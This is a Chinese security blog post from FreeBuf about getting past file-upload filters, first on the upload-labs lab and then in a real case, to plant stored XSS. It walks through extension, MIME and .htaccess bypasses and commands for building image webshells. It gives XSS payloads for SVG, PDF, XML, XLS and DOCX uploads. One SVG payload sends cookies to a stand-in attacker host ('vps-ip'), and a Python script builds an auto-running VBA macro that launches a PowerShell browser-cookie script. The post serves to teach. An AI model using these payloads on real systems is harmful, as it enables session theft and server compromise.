freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

受限上传漏洞绕过浏览器安全策略触发储存型 XSS 分析
耐心球_403 2025-04-02 19:47:10 64256
所属地 四川省

OSS存储桶+绕文件上传+存储XSS+绕安全策略+实战案例

0X01 前言:

提到文件上传漏洞,大家第一反应常是上传木马拿权限。但实际挖漏洞时,想顺利上传木马堪称“蜀道之难”,服务器白名单过滤、上传后路径“捉迷藏”、文件无法解析等难题频出,多数人只能无奈放弃。其实,文件上传功能点还有“隐藏玩法”—— 存储型 XSS 跨站脚本攻击,说不定能解锁意外惊喜!本文这就带你一探究竟 。

(扶了扶黑框眼镜,掏出保温杯抿了口枸杞茶)故事起因,今天本熊猫大侠在实战偶遇到个油盐不进的硬茬,正当我准备掏出祖传的菜刀三套件时,突然想起之前在 FreeBuf 啃到的《浅谈src挖掘中——文件上传和XSS漏洞的组合拳 - FreeBuf网络安全行业门户》秘籍。

(原地蹦跶两下模仿熊猫打滚)现在我左手持文件上传当肉盾,右手攥 XSS 漏洞当飞镖,见招拆招那叫一个行云流水。管你是渗透界的灭霸还是 APT 界的紫薯精,先吃我一记文件马后炮,再赏你个反射型烟花秀,最后 Combo 一套 DOM 型升龙拳!(突然掏出竹子啃了起来)嘿嘿,现在的漏洞怪见了我都绕道走,( = , = !)生怕被我这国宝抓去当研究样本~

0X02 回顾文件上传漏洞:

【文件上传の江湖救急指南】

各位看官稍安勿躁!熊猫大侠掐指一算 —— 您要的 "正片" 已加载 0.1%!先来复习三大保命招式:

(1)格式要对:JPG/PNG 是正道,PPTX 别想混进来

(2)大小要巧:5kB 以内能传情,20MB 以上请瘦身

(3)姿势要帅:点击 "上传" 别手抖,弹窗提示是暗号
(突然掏出小本本)这招 "常规三连" 练好了,明天您就是“白宫”的文件上传侠客!

(突然压低声音)江湖险恶,记得定期备份重要文件,设置访问密码加双重保险!下次遇到文件上传难题,默念 "别慌别慌,文件又不会长腿跑掉!",本大侠的秘籍不一定能助你化险为夷!但你记得默念 "别慌别慌,文件又不会长腿跑掉!"。【狗头跑路@ ,@!】

复现靶场:https://upload-labs.bachang.org/

(一)白名单验证_前端验证(常规手段)

原理:通过JS判断文件类型、大小等,快速拦截明显非法文件

【办法一】浏览器:关闭javascript功能

【办法二】F12:删除javascrip关键函数

浏览器:F12检查代码(删除:当表单提交时(例如用户点击了提交按钮),会调用 checkFile() 函数,并根据这个函数的返回值来决定是否真正提交表单)

【办法三】Bp抓包禁用js代码

(二)黑名单验证_MIME验证(常规手段)

注意:常见 MIME 类型列表 - HTTP | MDN

原理:后端通过检查HTTP请求头中的Content-Type字段来确定上传文件的类型。服务器依赖Content-Type来判断文件类型,但该字段可在客户端被修改,因此攻击者可能通过篡改Content-Type绕过验证。

(三)黑名单验证_特殊后缀(中,绕过条件+1)

原理:文件上传黑名单‌是指在文件上传过程中,服务器明确禁止上传的文件类型列表。本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!(php代码检测黑名单)

等价扩展名:

注意:使用2.4.0至2.4.29版本的apache服务器来测试(等价扩展名)

思考一下服务器认识扩展名后缀?修改httpd-conf文件:

AddType application/x-httpd-php .php .phtml .php3

(四)黑名单验证_.htaccess(高,绕过条件+1)

原理:关闭本pass禁止上传

.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf后缀文件!

(通过php实现黑名单处理判断后缀名)(第3关基础上添加等价扩展名)

注意:.htaccess文件必须命名为.htaccess,不能改名(如4.htaccess)。如果在上传过程中被自动重命名,文件将无法正常解析,失去作用。

通过 .htaccess (Apache 服务器的配置文件)文件可实现:网页 301 永久重定向、自定义 404 错误页面、更改文件扩展名、允许或阻止特定用户或目录的访问、禁止目录列表显示以及配置默认文档等。

复现环境:Apache2.4+PHP7.4.22(注意:php如果是nts版本无法成功(所以phpstudy不行),需要自己安装Apache

第一步:上传文件 .htaccess :

指定文件(危害降低):

<FilesMatch "donbo.png">
SetHandler application/x-httpd-php

</FilesMatch>

或者

指令用于将特定的文件扩展名与 MIME 类型关联起来:

AddType application/x-httpd-php .png .txt

第二步:

启用.htaccess,需要修改httpd.conf,启用AllowOverride和rewrite,将none改成all即可,rewrite模块默认开启。

(五)黑名单验证_.user.ini.(弱,绕过条件+1)

原理:Pass_5反复观察发现没有被限制的后缀名有 .php7 以及 .ini

(六)黑名单验证_大小写绕过(常规手段)

原理:部分网站在黑名单过滤时未严格区分大小写,攻击者可通过混合大小写的方式绕过检测。(而 Linux 系统却能精准识别)

(七)黑名单验证_空格绕过(常规手段)

原理:在文件名的末尾(或前面)添加空格,使黑名单验证函数无法匹配到文件扩展名,但文件解析不受影响。

注意:Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单。(Linux 在角落笑出了声)

例如:

test.php (文件名末尾添加一个空格)

test.php(文件名前面添加一个空格)

test.php%20(文件名末尾添加 URL 编码的空格 %20)

(八)黑名单验证_点号绕过(常规手段)

原理:与空格绕过类似(跳过)。

注意:Windows系统下,文件后缀名最后一个点会被自动去除。(Linux 表示这波操作我看不懂.jpg)

(九)黑名单验证_特殊字符::$DATA绕过(常规手段)

原理:在 Windows 的 NTFS 文件系统中,文件名后添加 ::$DATA 可以绕过后缀名检测。系统会将 ::$DATA 之后的内容视为文件流,而不会检查文件扩展名。例如,上传 test.php::$DATA 会被保存为 test.php,并可能被识别为 PHP 文件执行。

注意:蚁剑连接donpo.php (注意蚁剑连接路径不要加上::$DATA)或者访问网址时

(十)黑名单验证_后缀加点空格点(常规手段)

原理:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,从而绕过检测。

删除流程:先删除 . 再获取点后缀   再转小写   再去字符串

strchr 主要用于在一个字符串中查找指定字符首次出现的位置

(十一)黑名单验证_双写绕过(常规手段)

原理:利用后端代码仅替换一次黑名单后缀的漏洞,通过双写后缀(如pphphp或asaspp)绕过后缀名检测。

(十二)绕过_get00截断/绕过_post00截断(弱,场景条件+1)

原理:原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00

在 Linux 系统中,null 字符(\0)通常不会被文件系统接受,因此这种截断方法主要适用于 Windows 系统。

注意:php环境00截断的条件:1.php版本小于5.3.292 与 magic quotes gpc=Off#这个在php.ini中

(十三)图片马unpack(弱,绕过条件+1)

原理:文件以二进制形式存储,每个文件开头的特定字节(文件头标志)标识文件类型。服务器通过检测文件头是否在白名单中来判断是否允许上传。如果文件头符合白名单,文件被允许上传;否则被拒绝。

1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。

2.Jpg图片文件包括2字节:FF D8。

3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。

4.Bmp图片文件包括2字节:42 4D。即为 BM。

5.class文件的文件头:ca fe ba be。

结尾为.png需要结合文件包含漏洞完成

(十四)getimagesize图片马、exif_imagetype图片马(弱,绕过条件+1)

文件头检查

(1)生成:图片马

windows        copy /b xiaoniao.gif + shell.php shell.gif

Linux          cat xiaoniao.jpg shell.php > shell.jpg

(2)利用工具010 Editor或者vs code插件Hex Editor编辑加加入木马即可

(十五)二次渲染绕过(弱,绕过条件+1)

原理:二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败

补充:小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点(渲染再渲染再插入一句话木马到内容相同的即可)

(十六)白名单_条件竞争一、白名单_条件竞争二(中,场景条件+1)

原理:(1)文件上传后,(先移动再判断)服务器在短暂时间内判断文件是否符合白名单。利用这短暂时间,可通过条件竞争攻击,发送大量上传和访问请求,执行非法文件中的关键语句,如一句话木马。(2)Apache从右到左解析文件后缀,遇不可识别后缀则继续向左判断,文件名 test.php.@.!:Apache 会依次检查 .! → .@ → .php。若 .php 是已知的可执行后缀(如 PHP 脚本),则忽略 .! 和 .@,将文件视为 PHP 脚本处理。

(十七)黑名单_ ./绕过(弱,场景条件+1)

原理:move_uploaded_file 会忽略文件路径末尾的 /,攻击者可构造如 1.php/. 的路径,使 file_ext 为空,绕过黑名单;但 Windows 会自动删除路径中的非法字符(如 / 或 \),影响绕过效果。

(十八)白名单_数组绕过(没必要)

0X03 文件上传和XSS漏洞的组合拳:

【组合攻击の葵花宝典】

组合拳之无痛拳:PDF文件上传造成XSS、XML文件造成XSS、SVG文件造成XSS、xls文件造成XSS、doc或者docx造成XSS、HTML造成XSS、VBA文件造成攻击


<script>alert(XSS Attack)</script>

建议不用alert,利用:

<script>prompt(XSS Attack)</script>

<script>confirm(XSS Attack)</script>

(一)PDF文件上传造成XSS(发生概率高)

注意:上传PDF文件时的Content-Type通常为application/pdf。当上传PDF文件时,服务器需要正确设置该文件的Content-Type,以确保浏览器能够正确解析和显示文件内容。


制作:Adobe Acrobat DC、迅捷PDF编译器、python代码添加app.alert('XSS');


仅简单示范,无恶意代码:

from PyPDF2 import PdfWriter, PdfReader
import os

def inject_xss_into_pdf(pdf_path, output_path="xss.pdf"):
    if not os.path.exists(pdf_path):
        print(f"错误: 找不到指定的PDF文件 '{pdf_path}',请检查路径是否正确。")
        return False
    output_pdf = PdfWriter()
    try:
        with open(pdf_path, "rb") as file:
            input_pdf = PdfReader(file)
            for page in input_pdf.pages:
                output_pdf.add_page(page)
        output_pdf.add_js("app.alert('XSS');")
        with open(output_path, "wb") as output_file:
            output_pdf.write(output_file)
        print(f"带有XSS的PDF文件已生成: {output_path}")
        return True
    except FileNotFoundError:
        print(f"错误: 找不到指定的PDF文件 '{pdf_path}',请检查路径是否正确。")
        return False
    except Exception as e:
        print(f"发生错误: {e}")
        return False
if __name__ == "__main__":
    pdf_path = input("请输入PDF文件的路径: ")
inject_xss_into_pdf(pdf_path)

(二)XML文件造成XSS漏洞

注意:当上传XML文件时,其Content-Type通常为application/xml或text/xml。具体取决于服务器的配置和处理方式。

原理:

<?xml version="1.0" encoding="UTF-8"?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

<xsl:template match="/">

<html>

<body>

<script>alert('XSS Attack');</script>

</body>

</html>

</xsl:template></xsl:stylesheet>

(三)SVG文件造成XSS漏洞

原理:SVG文件支持嵌入JavaScript代码,如果应用程序允许用户上传SVG文件且未对内容进行严格验证和过滤,攻击者可上传包含恶意JavaScript代码的SVG文件。当其他用户查看该SVG文件时,恶意脚本会在其浏览器中执行,从而触发XSS攻击。SVG文件的Content-Type通常是image/svg+xml。


例如:

如果应用允许上传 SVG 格式的文件(其实就是一个图像类型的),那么带有以下 Content-Type 的文件可以被用来触发XSS(依次复杂):

一:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS Attack')">

<rect width="100" height="100" fill="red" /></svg>

二:

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"/>

三:

存在XSS漏洞考虑获取对方cookie值

<svg/οnlοad="document.location='http://vps-ip:1234/?'+document.cookie">

(四)XLS文件造成XSS

场景:攻击者通过上传一个包含恶意脚本的XLS文件,当后台程序读取该文件并将其内容显示在Web前端页面时,恶意脚本被执行,从而触发XSS攻击。

注意:XLS文件的Content-Type通常是application/vnd.ms-excel

HTML文件的Content-Type通常是text/html

例如:

1、构造Excel表格内容

在Excel表格中,将XSS Payload插入到用户账号字段中:

2、XSS Payload

<img src=x onerror=confirm(1)>

3、触发XSS攻击:

提交人员(A)提交带有XSS Payload的表格。 审核人员(C)在浏览器中打开表格,浏览器解析HTML内容并触发XSS攻击。 弹出确认对话框,显示数字1,证明攻击成功。

def fake_case():

return "此乃熊猫大侠亲测有效的「搞笑竹筒饭式案例」,成分:竹叶+空气+想象力"

(五)VBA文件造成攻击

原理:邮件附件包含 .docm(Word 宏)、.xlsm(Excel 宏)诱骗用户 “启用内容”,触发 VBA 宏等等,造成读取 浏览器 Cookie(Chrome、Edge)、下载木马等危害

仅简单示范,无恶意代码:

import os
import win32com.client

def create_xlsm_with_vba(file_path):     excel = win32com.client.Dispatch("Excel.Application")     excel.Visible = False     workbook = excel.Workbooks.Add()     vba_code = """     Private Sub Workbook_Open()         Dim objShell As Object         Set objShell = CreateObject("WScript.Shell")         objShell.Run "powershell.exe -ExecutionPolicy Bypass -File get_browser_cookies.ps1"         Set objShell = Nothing     End Sub     """     workbook.VBProject.VBComponents("ThisWorkbook").CodeModule.AddFromString(vba_code)     workbook.SaveAs(file_path, 52)     workbook.Close(False)     excel.Quit()     return file_path  file_path = os.path.abspath("malicious.xlsm") create_xlsm_with_vba(file_path) print(f"带有 VBA 宏的 XLSM 文件已创建:{file_path}")

(六)DOCX或者DOC造成XSS漏洞

原理:上传的.docx文件后缀被改为.html,服务器返回Content-Type为text/html,导致浏览器将其解析为HTML并执行其中的脚本,从而触发XSS攻击。

注意事项

1、文件结构完整性:确保在修改和重新压缩文件时,文件结构保持完整,以便浏览器能够正确解析。

2、脚本代码嵌入:将脚本代码嵌入到setting.xml文件的内容中,而不是修改文件名,以避免文件名包含特殊字符导致的问题。

3、服务器配置:确保服务器在提供下载时正确设置Content-Type头为text/html,以便浏览器将文件解析为HTML并执行脚本。

十六进制的:空格<script>alert(42)</script>空格

203C7363726970743E616C65727428275853532041747461636B27293C2F7363726970743E20

测试过程:如果将.docx文件改为.zip修改文件内容或者XML名称,则会导致文件结构被破坏,就算正确设置Content-Type头为text/html,也无法引起造成XSS攻击


修改.docx为.zip再修改settings.xml文件为set<script>alert(42)</script>tings.xml

修改.docx为.html并用浏览器查阅是否触发XSS攻击,是触发但文件结构被破坏

细节:若测试时未成功触发漏洞属于正常现象,关键排查点:确保在 XSS 标签后添加空格(如<script>需写成 <script>空格)


传统空格注入法(如 aaaaa<script>alert (1)< /script>空格aaaaa)会破坏文件结构,接下来将保留原文件内容且触发XSS攻击:

仅简单示范,无恶意代码:

import os
import zipfile
import shutil

def modify_docx_to_html(input_docx_path, output_html_path):
    if not os.path.exists(input_docx_path):
        print(f"错误:找不到文件 {input_docx_path}")
        return None
    temp_dir = "temp_docx"
    os.makedirs(temp_dir, exist_ok=True)
    zip_path = input_docx_path + ".zip"
    try:
        os.rename(input_docx_path, zip_path)
    except FileNotFoundError:
        print(f"错误:无法重命名文件 {input_docx_path} 到 {zip_path}")
        return None
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        zip_ref.extractall(temp_dir)
    setting_xml_path = os.path.join(temp_dir, "word", "settings.xml")
    if os.path.exists(setting_xml_path):
        with open(setting_xml_path, 'a') as f:
            f.write('<script>alert("42");</script>')
    else:
        print(f"警告:未找到 {setting_xml_path} 文件")
    new_zip_path = os.path.join(temp_dir, "modified.zip")
    with zipfile.ZipFile(new_zip_path, 'w') as zip_ref:
        for root, dirs, files in os.walk(temp_dir):
            for file in files:
                file_path = os.path.join(root, file)
                arcname = os.path.relpath(file_path, temp_dir)
                zip_ref.write(file_path, arcname)
    shutil.move(new_zip_path, output_html_path)
    shutil.rmtree(temp_dir)
    os.remove(zip_path)
    return output_html_path
input_docx_path = os.path.abspath("example.docx")
output_html_path = os.path.abspath("example.html")
result = modify_docx_to_html(input_docx_path, output_html_path)
if result:
    print(f"修改后的文件已保存为: {result}")

(七)HTML造成XSS漏洞

(投影里的熊猫侠客突然掏出倚天剑斩断数据流)这招要诀是 —— 动手测试

例如:

<a href="https://baidu.com" onmouseover="alert('Gotcha!')">

这是正经链接,点击查看熊猫私房照!!!

</a>

0X04 案例反击指南

抓取图片上传数据包:

0X03:黑名单验证_MIME验证:常见 MIME 类型列表 - HTTP | MDN

利用0X02常规手段都来测试一遍,再Fuzz一圈,经过对参数文件上传的测试,发现服务端仅允许Content-Type以image/开头的文件上传,否则会提示文件非法。


如果上传PHP文件,则告诉服务器:

application/x-www-form-urlencoded:用于简单的表单数据提交。

multipart/form-data:用于文件上传,特别是当表单包含文件输入字段时。

application/octet-stream:大多数浏览器会将 application/octet-stream 类型的响应内容提示为下载,而不是直接在浏览器中显示。用于表示二进制数据流,传输未知或未定义的数据

Content-Type只需要以image/开头,如果你使用不存在类型时,服务端将会按照你传输的类型作为响应头,譬如:

响应为:

思考一下,支持Content-Type的image/开头,没错利用0X03的SVG文件造成XSS漏洞,内容为:Content-Type的image/svg+xml,然而当你使用标准的请求时,服务端是不允许的。

各种fuzz绕过测试,最终只需要在Content-Type: image/svg+xml;末尾加上分号即可绕过,譬如这样:

当为:Content-Type: image/svg+xml1111也可以绕过

Tip1 为什么无法触发XSS?

其实是:当设置X-Content-Type-Options: nosniff时,浏览器会严格按照服务器返回的Content-Type头处理内容,而不会进行类型猜测。这意味着如果Content-Type与文件的实际内容不匹配,浏览器将不会尝试重新解释文件类型,从而防止了潜在的安全风险,如MIME类型嗅探攻击。

例如,如果一个文件的实际内容是HTML,但服务器返回的Content-Type是text/plain,浏览器会将该文件视为纯文本,而不会执行其中的HTML代码。

Tip2 为什么就必须是“ ;”?

其实是:在 HTTP 头部字段中,分号(;)通常用于分隔多个参数。例如,在 Content-Type 头中,分号可以用来分隔 MIME 类型和字符集编码,进而绕过X-Content-Type-Options: nosniff的检测。

0X05 漏洞江湖の终极奥义:总结

文章内容分享完毕,后续有任何疑问或交流需求、文章缺点,欢迎各位师傅共同探讨。文内案例及细节均已详尽阐述,对新手较为友好。(针对0X03后续如果有时间会优化案例并拓展开完善)

文章敏感信息已做打码处理,仅用于经验分享,切勿擅自模仿。未经授权的攻击行为属于违法,作者不对任何由此引发的后果负责。


# web安全 # 漏洞分析
本文为 耐心球_403 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
漏洞挖掘
耐心球_403 LV.1
爲何會出現這個漏洞?
  • 2 文章数
  • 2 关注者
JSON Web Token (JWT) 渗透技巧【详解总结】
2025-03-22
文章目录